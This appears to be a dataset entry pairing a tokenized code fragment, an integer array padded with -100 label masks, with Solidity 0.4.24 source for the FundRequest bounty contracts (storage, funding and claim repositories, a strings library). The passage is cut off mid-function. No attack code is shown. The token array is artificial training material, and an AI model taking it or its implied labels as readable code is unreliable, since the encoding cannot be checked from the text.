[ 1, 565, 445, 2683, 5126, 12, 11890, 7559, 548, 16, 1758, 31123, 13, 2713, 288, 203, 3639, 1758, 2744, 5126, 273, 9150, 2996, 18, 7357, 2673, 63, 9188, 12, 21, 13, 15533, 203, 3639, 1323, 261, 9188, 5126, 422, 31123, 15329, 203, 6647, 2744, 5126, 273, 9150, 2996, 18, 7357, 2673, 63, 9188, 12, 21, 13, 15533, 203, 3639, 289, 203, 3639, 17889, 18, 454, 19001, 63, 11480, 548, 8009, 7357, 273, 2744, 5126, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() constant public returns (uint); function balanceOf(address who) constant public returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Transfer(address indexed _from, address indexed _to, uint256 _value); } /// @dev `Owned` is a base level contract that assigns an `owner` that can be /// later changed contract Owned { /// @dev `owner` is the only address that can call a function with this /// modifier modifier onlyOwner { require(msg.sender == owner); _; } address public owner; /// @notice The Constructor assigns the message sender to be `owner` function Owned() public {owner = msg.sender;} /// @notice `owner` can step down and assign some other address to this role /// @param _newOwner The address of the new owner. 0x0 can be used to create /// an unowned neutral vault, however that cannot be undone function changeOwner(address _newOwner) public onlyOwner { owner = _newOwner; } } contract Callable is Owned { //sender => _allowed mapping(address => bool) public callers; //modifiers modifier onlyCaller { require(callers[msg.sender]); _; } //management of the repositories function updateCaller(address _caller, bool allowed) public onlyOwner { callers[_caller] = allowed; } } contract EternalStorage is Callable { mapping(bytes32 => uint) uIntStorage; mapping(bytes32 => string) stringStorage; mapping(bytes32 => address) addressStorage; mapping(bytes32 => bytes) bytesStorage; mapping(bytes32 => bool) boolStorage; mapping(bytes32 => int) intStorage; // *** Getter Methods *** function getUint(bytes32 _key) external view returns (uint) { return uIntStorage[_key]; } function getString(bytes32 _key) external view returns (string) { return stringStorage[_key]; } function getAddress(bytes32 _key) external view returns (address) { return addressStorage[_key]; } function getBytes(bytes32 _key) external view returns (bytes) { return bytesStorage[_key]; } function getBool(bytes32 _key) external view returns (bool) { return boolStorage[_key]; } function getInt(bytes32 _key) external view returns (int) { return intStorage[_key]; } // *** Setter Methods *** function setUint(bytes32 _key, uint _value) onlyCaller external { uIntStorage[_key] = _value; } function setString(bytes32 _key, string _value) onlyCaller external { stringStorage[_key] = _value; } function setAddress(bytes32 _key, address _value) onlyCaller external { addressStorage[_key] = _value; } function setBytes(bytes32 _key, bytes _value) onlyCaller external { bytesStorage[_key] = _value; } function setBool(bytes32 _key, bool _value) onlyCaller external { boolStorage[_key] = _value; } function setInt(bytes32 _key, int _value) onlyCaller external { intStorage[_key] = _value; } // *** Delete Methods *** function deleteUint(bytes32 _key) onlyCaller external { delete uIntStorage[_key]; } function deleteString(bytes32 _key) onlyCaller external { delete stringStorage[_key]; } function deleteAddress(bytes32 _key) onlyCaller external { delete addressStorage[_key]; } function deleteBytes(bytes32 _key) onlyCaller external { delete bytesStorage[_key]; } function deleteBool(bytes32 _key) onlyCaller external { delete boolStorage[_key]; } function deleteInt(bytes32 _key) onlyCaller external { delete intStorage[_key]; } } /* * Database Contract * Davy Van Roy * Quinten De Swaef */ contract FundRepository is Callable { using SafeMath for uint256; EternalStorage public db; //platform -> platformId => _funding mapping(bytes32 => mapping(string => Funding)) funds; struct Funding { address[] funders; //funders that funded tokens address[] tokens; //tokens that were funded mapping(address => TokenFunding) tokenFunding; } struct TokenFunding { mapping(address => uint256) balance; uint256 totalTokenBalance; } constructor(address _eternalStorage) public { db = EternalStorage(_eternalStorage); } function updateFunders(address _from, bytes32 _platform, string _platformId) public onlyCaller { bool existing = db.getBool(keccak256(abi.encodePacked("funds.userHasFunded", _platform, _platformId, _from))); if (!existing) { uint funderCount = getFunderCount(_platform, _platformId); db.setAddress(keccak256(abi.encodePacked("funds.funders.address", _platform, _platformId, funderCount)), _from); db.setUint(keccak256(abi.encodePacked("funds.funderCount", _platform, _platformId)), funderCount.add(1)); } } function updateBalances(address _from, bytes32 _platform, string _platformId, address _token, uint256 _value) public onlyCaller { if (db.getBool(keccak256(abi.encodePacked("funds.token.address", _platform, _platformId, _token))) == false) { db.setBool(keccak256(abi.encodePacked("funds.token.address", _platform, _platformId, _token)), true); //add to the list of tokens for this platformId uint tokenCount = getFundedTokenCount(_platform, _platformId); db.setAddress(keccak256(abi.encodePacked("funds.token.address", _platform, _platformId, tokenCount)), _token); db.setUint(keccak256(abi.encodePacked("funds.tokenCount", _platform, _platformId)), tokenCount.add(1)); } //add to the balance of this platformId for this token db.setUint(keccak256(abi.encodePacked("funds.tokenBalance", _platform, _platformId, _token)), balance(_platform, _platformId, _token).add(_value)); //add to the balance the user has funded for the request db.setUint(keccak256(abi.encodePacked("funds.amountFundedByUser", _platform, _platformId, _from, _token)), amountFunded(_platform, _platformId, _from, _token).add(_value)); //add the fact that the user has now funded this platformId db.setBool(keccak256(abi.encodePacked("funds.userHasFunded", _platform, _platformId, _from)), true); } function claimToken(bytes32 platform, string platformId, address _token) public onlyCaller returns (uint256) { require(!issueResolved(platform, platformId), "Can't claim token, issue is already resolved."); uint256 totalTokenBalance = balance(platform, platformId, _token); db.deleteUint(keccak256(abi.encodePacked("funds.tokenBalance", platform, platformId, _token))); return totalTokenBalance; } function refundToken(bytes32 _platform, string _platformId, address _owner, address _token) public onlyCaller returns (uint256) { require(!issueResolved(_platform, _platformId), "Can't refund token, issue is already resolved."); //delete amount from user, so he can't refund again uint256 userTokenBalance = amountFunded(_platform, _platformId, _owner, _token); db.deleteUint(keccak256(abi.encodePacked("funds.amountFundedByUser", _platform, _platformId, _owner, _token))); uint256 oldBalance = balance(_platform, _platformId, _token); uint256 newBalance = oldBalance.sub(userTokenBalance); require(newBalance <= oldBalance); //subtract amount from tokenBalance db.setUint(keccak256(abi.encodePacked("funds.tokenBalance", _platform, _platformId, _token)), newBalance); return userTokenBalance; } function finishResolveFund(bytes32 platform, string platformId) public onlyCaller returns (bool) { db.setBool(keccak256(abi.encodePacked("funds.issueResolved", platform, platformId)), true); db.deleteUint(keccak256(abi.encodePacked("funds.funderCount", platform, platformId))); return true; } //constants function getFundInfo(bytes32 _platform, string _platformId, address _funder, address _token) public view returns (uint256, uint256, uint256) { return ( getFunderCount(_platform, _platformId), balance(_platform, _platformId, _token), amountFunded(_platform, _platformId, _funder, _token) ); } function issueResolved(bytes32 _platform, string _platformId) public view returns (bool) { return db.getBool(keccak256(abi.encodePacked("funds.issueResolved", _platform, _platformId))); } function getFundedTokenCount(bytes32 _platform, string _platformId) public view returns (uint256) { return db.getUint(keccak256(abi.encodePacked("funds.tokenCount", _platform, _platformId))); } function getFundedTokensByIndex(bytes32 _platform, string _platformId, uint _index) public view returns (address) { return db.getAddress(keccak256(abi.encodePacked("funds.token.address", _platform, _platformId, _index))); } function getFunderCount(bytes32 _platform, string _platformId) public view returns (uint) { return db.getUint(keccak256(abi.encodePacked("funds.funderCount", _platform, _platformId))); } function getFunderByIndex(bytes32 _platform, string _platformId, uint index) external view returns (address) { return db.getAddress(keccak256(abi.encodePacked("funds.funders.address", _platform, _platformId, index))); } function amountFunded(bytes32 _platform, string _platformId, address _funder, address _token) public view returns (uint256) { return db.getUint(keccak256(abi.encodePacked("funds.amountFundedByUser", _platform, _platformId, _funder, _token))); } function balance(bytes32 _platform, string _platformId, address _token) view public returns (uint256) { return db.getUint(keccak256(abi.encodePacked("funds.tokenBalance", _platform, _platformId, _token))); } } contract ClaimRepository is Callable { using SafeMath for uint256; EternalStorage public db; constructor(address _eternalStorage) public { //constructor require(_eternalStorage != address(0), "Eternal storage cannot be 0x0"); db = EternalStorage(_eternalStorage); } function addClaim(address _solverAddress, bytes32 _platform, string _platformId, string _solver, address _token, uint256 _requestBalance) public onlyCaller returns (bool) { if (db.getAddress(keccak256(abi.encodePacked("claims.solver_address", _platform, _platformId))) != address(0)) { require(db.getAddress(keccak256(abi.encodePacked("claims.solver_address", _platform, _platformId))) == _solverAddress, "Adding a claim needs to happen with the same claimer as before"); } else { db.setString(keccak256(abi.encodePacked("claims.solver", _platform, _platformId)), _solver); db.setAddress(keccak256(abi.encodePacked("claims.solver_address", _platform, _platformId)), _solverAddress); } uint tokenCount = db.getUint(keccak256(abi.encodePacked("claims.tokenCount", _platform, _platformId))); db.setUint(keccak256(abi.encodePacked("claims.tokenCount", _platform, _platformId)), tokenCount.add(1)); db.setUint(keccak256(abi.encodePacked("claims.token.amount", _platform, _platformId, _token)), _requestBalance); db.setAddress(keccak256(abi.encodePacked("claims.token.address", _platform, _platformId, tokenCount)), _token); return true; } function isClaimed(bytes32 _platform, string _platformId) view external returns (bool claimed) { return db.getAddress(keccak256(abi.encodePacked("claims.solver_address", _platform, _platformId))) != address(0); } function getSolverAddress(bytes32 _platform, string _platformId) view external returns (address solverAddress) { return db.getAddress(keccak256(abi.encodePacked("claims.solver_address", _platform, _platformId))); } function getSolver(bytes32 _platform, string _platformId) view external returns (string){ return db.getString(keccak256(abi.encodePacked("claims.solver", _platform, _platformId))); } function getTokenCount(bytes32 _platform, string _platformId) view external returns (uint count) { return db.getUint(keccak256(abi.encodePacked("claims.tokenCount", _platform, _platformId))); } function getTokenByIndex(bytes32 _platform, string _platformId, uint _index) view external returns (address token) { return db.getAddress(keccak256(abi.encodePacked("claims.token.address", _platform, _platformId, _index))); } function getAmountByToken(bytes32 _platform, string _platformId, address _token) view external returns (uint token) { return db.getUint(keccak256(abi.encodePacked("claims.token.amount", _platform, _platformId, _token))); } } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; } /* * @title String & slice utility library for Solidity contracts. * @author Nick Johnson <[email protected]> * * @dev Functionality in this library is largely implemented using an * abstraction called a 'slice'. A slice represents a part of a string - * anything from the entire string to a single character, or even no * characters at all (a 0-length slice). Since a slice only has to specify * an offset and a length, copying and manipulating slices is a lot less * expensive than copying and manipulating the strings they reference. * * To further reduce gas costs, most functions on slice that need to return * a slice modify the original one instead of allocating a new one; for * instance, `s.split(".")` will return the text up to the first '.', * modifying s to only contain the remainder of the string after the '.'. * In situations where you do not want to modify the original slice, you * can make a copy first with `.copy()`, for example: * `s.copy().split(".")`. Try and avoid using this idiom in loops; since * Solidity has no memory management, it will result in allocating many * short-lived slices that are later discarded. * * Functions that return two slices come in two versions: a non-allocating * version that takes the second slice as an argument, modifying it in * place, and an allocating version that allocates and returns the second * slice; see `nextRune` for example. * * Functions that have to copy string data will return strings rather than * slices; these can be cast back to slices for further processing if * required. * * For convenience, some functions are provided with non-modifying * variants that create a new slice and return both; for instance, * `s.splitNew('.')` leaves s unmodified, and returns two values * corresponding to the left and right parts of the string. */ library strings { struct slice { uint _len; uint _ptr; } function memcpy(uint dest, uint src, uint len) private pure { // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /* * @dev Returns a slice containing the entire string. * @param self The string to make a slice from. * @return A newly allocated slice containing the entire string. */ function toSlice(string self) internal pure returns (slice) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } /* * @dev Returns the length of a null-terminated bytes32 string. * @param self The value to find the length of. * @return The length of the string, from 0 to 32. */ function len(bytes32 self) internal pure returns (uint) { uint ret; if (self == 0) return 0; if (self & 0xffffffffffffffffffffffffffffffff == 0) { ret += 16; self = bytes32(uint(self) / 0x100000000000000000000000000000000); } if (self & 0xffffffffffffffff == 0) { ret += 8; self = bytes32(uint(self) / 0x10000000000000000); } if (self & 0xffffffff == 0) { ret += 4; self = bytes32(uint(self) / 0x100000000); } if (self & 0xffff == 0) { ret += 2; self = bytes32(uint(self) / 0x10000); } if (self & 0xff == 0) { ret += 1; } return 32 - ret; } /* * @dev Returns a slice containing the entire bytes32, interpreted as a * null-termintaed utf-8 string. * @param self The bytes32 value to convert to a slice. * @return A new slice containing the value of the input argument up to the * first null. */ function toSliceB32(bytes32 self) internal pure returns (slice ret) { // Allocate space for `self` in memory, copy it there, and point ret at it assembly { let ptr := mload(0x40) mstore(0x40, add(ptr, 0x20)) mstore(ptr, self) mstore(add(ret, 0x20), ptr) } ret._len = len(self); } /* * @dev Returns a new slice containing the same data as the current slice. * @param self The slice to copy. * @return A new slice containing the same data as `self`. */ function copy(slice self) internal pure returns (slice) { return slice(self._len, self._ptr); } /* * @dev Copies a slice to a new string. * @param self The slice to copy. * @return A newly allocated string containing the slice's text. */ function toString(slice self) internal pure returns (string) { string memory ret = new string(self._len); uint retptr; assembly {retptr := add(ret, 32)} memcpy(retptr, self._ptr, self._len); return ret; } /* * @dev Returns the length in runes of the slice. Note that this operation * takes time proportional to the length of the slice; avoid using it * in loops, and call `slice.empty()` if you only need to know whether * the slice is empty or not. * @param self The slice to operate on. * @return The length of the slice in runes. */ function len(slice self) internal pure returns (uint l) { // Starting at ptr-31 means the LSB will be the byte we care about uint ptr = self._ptr - 31; uint end = ptr + self._len; for (l = 0; ptr < end; l++) { uint8 b; assembly {b := and(mload(ptr), 0xFF)} if (b < 0x80) { ptr += 1; } else if (b < 0xE0) { ptr += 2; } else if (b < 0xF0) { ptr += 3; } else if (b < 0xF8) { ptr += 4; } else if (b < 0xFC) { ptr += 5; } else { ptr += 6; } } } /* * @dev Returns true if the slice is empty (has a length of 0). * @param self The slice to operate on. * @return True if the slice is empty, False otherwise. */ function empty(slice self) internal pure returns (bool) { return self._len == 0; } /* * @dev Returns a positive number if `other` comes lexicographically after * `self`, a negative number if it comes before, or zero if the * contents of the two slices are equal. Comparison is done per-rune, * on unicode codepoints. * @param self The first slice to compare. * @param other The second slice to compare. * @return The result of the comparison. */ function compare(slice self, slice other) internal pure returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; uint selfptr = self._ptr; uint otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { uint a; uint b; assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant bytes and check again uint256 mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); uint256 diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } /* * @dev Returns true if the two slices contain the same text. * @param self The first slice to compare. * @param self The second slice to compare. * @return True if the slices are equal, false otherwise. */ function equals(slice self, slice other) internal pure returns (bool) { return compare(self, other) == 0; } /* * @dev Extracts the first rune in the slice into `rune`, advancing the * slice to point to the next rune and returning `self`. * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `rune`. */ function nextRune(slice self, slice rune) internal pure returns (slice) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint l; uint b; // Load the first byte of the rune into the LSBs of b assembly {b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF)} if (b < 0x80) { l = 1; } else if (b < 0xE0) { l = 2; } else if (b < 0xF0) { l = 3; } else { l = 4; } // Check for truncated codepoints if (l > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += l; self._len -= l; rune._len = l; return rune; } /* * @dev Returns the first rune in the slice, advancing the slice to point * to the next rune. * @param self The slice to operate on. * @return A slice containing only the first rune from `self`. */ function nextRune(slice self) internal pure returns (slice ret) { nextRune(self, ret); } /* * @dev Returns the number of the first codepoint in the slice. * @param self The slice to operate on. * @return The number of the first codepoint in the slice. */ function ord(slice self) internal pure returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint length; uint divisor = 2 ** 248; // Load the rune into the MSBs of b assembly {word := mload(mload(add(self, 32)))} uint b = word / divisor; if (b < 0x80) { ret = b; length = 1; } else if (b < 0xE0) { ret = b & 0x1F; length = 2; } else if (b < 0xF0) { ret = b & 0x0F; length = 3; } else { ret = b & 0x07; length = 4; } // Check for truncated codepoints if (length > self._len) { return 0; } for (uint i = 1; i < length; i++) { divisor = divisor / 256; b = (word / divisor) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } /* * @dev Returns the keccak-256 hash of the slice. * @param self The slice to hash. * @return The hash of the slice. */ function keccak(slice self) internal pure returns (bytes32 ret) { assembly { ret := keccak256(mload(add(self, 32)), mload(self)) } } /* * @dev Returns true if `self` starts with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function startsWith(slice self, slice needle) internal pure returns (bool) { if (self._len < needle._len) { return false; } if (self._ptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } return equal; } /* * @dev If `self` starts with `needle`, `needle` is removed from the * beginning of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function beyond(slice self, slice needle) internal pure returns (slice) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, length), sha3(needleptr, length)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } /* * @dev Returns true if the slice ends with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function endsWith(slice self, slice needle) internal pure returns (bool) { if (self._len < needle._len) { return false; } uint selfptr = self._ptr + self._len - needle._len; if (selfptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } return equal; } /* * @dev If `self` ends with `needle`, `needle` is removed from the * end of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function until(slice self, slice needle) internal pure returns (slice) { if (self._len < needle._len) { return self; } uint selfptr = self._ptr + self._len - needle._len; bool equal = true; if (selfptr != needle._ptr) { assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } } if (equal) { self._len -= needle._len; } return self; } event log_bytemask(bytes32 mask); // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly {needledata := and(mload(needleptr), mask)} uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly {ptrdata := and(mload(ptr), mask)} while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly {ptrdata := and(mload(ptr), mask)} } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly {hash := sha3(needleptr, needlelen)} for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly {testHash := sha3(ptr, needlelen)} if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } // Returns the memory address of the first byte after the last occurrence of // `needle` in `self`, or the address of `self` if not found. function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly {needledata := and(mload(needleptr), mask)} ptr = selfptr + selflen - needlelen; bytes32 ptrdata; assembly {ptrdata := and(mload(ptr), mask)} while (ptrdata != needledata) { if (ptr <= selfptr) return selfptr; ptr--; assembly {ptrdata := and(mload(ptr), mask)} } return ptr + needlelen; } else { // For long needles, use hashing bytes32 hash; assembly {hash := sha3(needleptr, needlelen)} ptr = selfptr + (selflen - needlelen); while (ptr >= selfptr) { bytes32 testHash; assembly {testHash := sha3(ptr, needlelen)} if (hash == testHash) return ptr + needlelen; ptr -= 1; } } } return selfptr; } /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function find(slice self, slice needle) internal pure returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); self._len -= ptr - self._ptr; self._ptr = ptr; return self; } /* * @dev Modifies `self` to contain the part of the string from the start of * `self` to the end of the first occurrence of `needle`. If `needle` * is not found, `self` is set to the empty slice. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function rfind(slice self, slice needle) internal pure returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); self._len = ptr - self._ptr; return self; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and `token` to everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function split(slice self, slice needle, slice token) internal pure returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = self._ptr; token._len = ptr - self._ptr; if (ptr == self._ptr + self._len) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; self._ptr = ptr + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and returning everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` up to the first occurrence of `delim`. */ function split(slice self, slice needle) internal pure returns (slice token) { split(self, needle, token); } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and `token` to everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function rsplit(slice self, slice needle, slice token) internal pure returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = ptr; token._len = self._len - (ptr - self._ptr); if (ptr == self._ptr) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and returning everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` after the last occurrence of `delim`. */ function rsplit(slice self, slice needle) internal pure returns (slice token) { rsplit(self, needle, token); } /* * @dev Counts the number of nonoverlapping occurrences of `needle` in `self`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return The number of occurrences of `needle` found in `self`. */ function count(slice self, slice needle) internal pure returns (uint cnt) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; while (ptr <= self._ptr + self._len) { cnt++; ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; } } /* * @dev Returns True if `self` contains `needle`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return True if `needle` is found in `self`, false otherwise. */ function contains(slice self, slice needle) internal pure returns (bool) { return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; } /* * @dev Returns a newly allocated string containing the concatenation of * `self` and `other`. * @param self The first slice to concatenate. * @param other The second slice to concatenate. * @return The concatenation of the two strings. */ function concat(slice self, slice other) internal pure returns (string) { string memory ret = new string(self._len + other._len); uint retptr; assembly {retptr := add(ret, 32)} memcpy(retptr, self._ptr, self._len); memcpy(retptr + self._len, other._ptr, other._len); return ret; } /* * @dev Joins an array of slices, using `self` as a delimiter, returning a * newly allocated string. * @param self The delimiter to use. * @param parts A list of slices to join. * @return A newly allocated string containing all the slices in `parts`, * joined with `self`. */ function join(slice self, slice[] parts) internal pure returns (string) { if (parts.length == 0) return ""; uint length = self._len * (parts.length - 1); for (uint i = 0; i < parts.length; i++) length += parts[i]._len; string memory ret = new string(length); uint retptr; assembly {retptr := add(ret, 32)} for (i = 0; i < parts.length; i++) { memcpy(retptr, parts[i]._ptr, parts[i]._len); retptr += parts[i]._len; if (i < parts.length - 1) { memcpy(retptr, self._ptr, self._len); retptr += self._len; } } return ret; } /* * Additions by the FundRequest Team */ function toBytes32(slice self) internal pure returns (bytes32 result) { string memory source = toString(self); bytes memory tempEmptyStringTest = bytes(source); if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(source, 32)) } } function strConcat(string _a, string _b, string _c, string _d, string _e) pure internal returns (string){ bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) pure internal returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) pure internal returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) pure internal returns (string) { return strConcat(_a, _b, "", "", ""); } function addressToString(address x) internal pure returns (string) { bytes memory s = new bytes(40); for (uint i = 0; i < 20; i++) { byte b = byte(uint8(uint(x) / (2 ** (8 * (19 - i))))); byte hi = byte(uint8(b) / 16); byte lo = byte(uint8(b) - 16 * uint8(hi)); s[2 * i] = charToByte(hi); s[2 * i + 1] = charToByte(lo); } return strConcat("0x", string(s)); } function charToByte(byte b) internal pure returns (byte c) { if (b < 10) return byte(uint8(b) + 0x30); else return byte(uint8(b) + 0x57); } function bytes32ToString(bytes32 x) internal pure returns (string) { bytes memory bytesString = new bytes(32); uint charCount = 0; for (uint j = 0; j < 32; j++) { byte ch = byte(bytes32(uint(x) * 2 ** (8 * j))); if (ch != 0) { bytesString[charCount] = ch; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); } } contract Precondition is Owned { string public name; uint public version; bool public active = false; constructor(string _name, uint _version, bool _active) public { name = _name; version = _version; active = _active; } function setActive(bool _active) external onlyOwner { active = _active; } function isValid(bytes32 _platform, string _platformId, address _token, uint256 _value, address _funder) external view returns (bool valid); } /* * Main FundRequest Contract. The entrypoint for every claim/refund * Davy Van Roy * Quinten De Swaef */ contract FundRequestContract is Callable, ApproveAndCallFallBack { using SafeMath for uint256; using strings for *; event Funded(address indexed from, bytes32 platform, string platformId, address token, uint256 value); event Claimed(address indexed solverAddress, bytes32 platform, string platformId, string solver, address token, uint256 value); event Refund(address indexed owner, bytes32 platform, string platformId, address token, uint256 value); address constant public ETHER_ADDRESS = 0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee; //repositories FundRepository public fundRepository; ClaimRepository public claimRepository; address public claimSignerAddress; Precondition[] public preconditions; constructor(address _fundRepository, address _claimRepository) public { setFundRepository(_fundRepository); setClaimRepository(_claimRepository); } //ENTRYPOINTS /* * Public function, can only be called from the outside. * Fund an issue, providing a token and value. * Requires an allowance > _value of the token. */ function fund(bytes32 _platform, string _platformId, address _token, uint256 _value) external returns (bool success) { require(doFunding(_platform, _platformId, _token, _value, msg.sender), "funding with token failed"); return true; } /* * Public function, can only be called from the outside. * Fund an issue, ether as value of the transaction. * Requires ether to be whitelisted in a precondition. */ function etherFund(bytes32 _platform, string _platformId) payable external returns (bool success) { require(doFunding(_platform, 